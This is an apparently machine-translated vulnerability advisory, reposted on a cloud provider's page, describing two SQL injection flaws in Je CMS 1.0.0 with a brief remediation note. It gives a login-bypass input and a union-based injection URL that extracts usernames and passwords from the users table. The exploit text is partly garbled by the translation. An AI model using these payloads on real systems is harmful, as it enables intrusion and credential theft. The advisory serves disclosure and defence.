Je cms 1.0.0 universal Password Logon and injection vulnerability and repair

Source: Internet
Author: User

Je cms <= 1.0.0 has two vulnerabilities. You can use a universal password for Logon verification. The other is the SQL injection vulnerability.

1. Bypass Authentication by SQL Injection Vulnerability // logon Verification Vulnerability

In administratorlogin. php page, lines 16-20: // lines 16-20 on the login. php page (Code omitted)

POC:

In administrator/login. php


Username: admin or 1 = 1

Password: admin or 1 = 1

 

2. SQL injection in administratorindex. php on "userid" parameter: // SQL injection Vulnerability


In administratorindex. php file line 12: (the code is omitted)

POC:


Http: // site/joenas-ejes/administrator/index. php? Jepage = edituser & userid = 1 and 1 = 2 union select 1, 2, 3, 4, group_concat (username, 0x3a, password), 6, 7, 8, 9, 10, 11, 12 from users --

Security Protection:

Strictly Filter

The filtering variable or replacement space is null.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.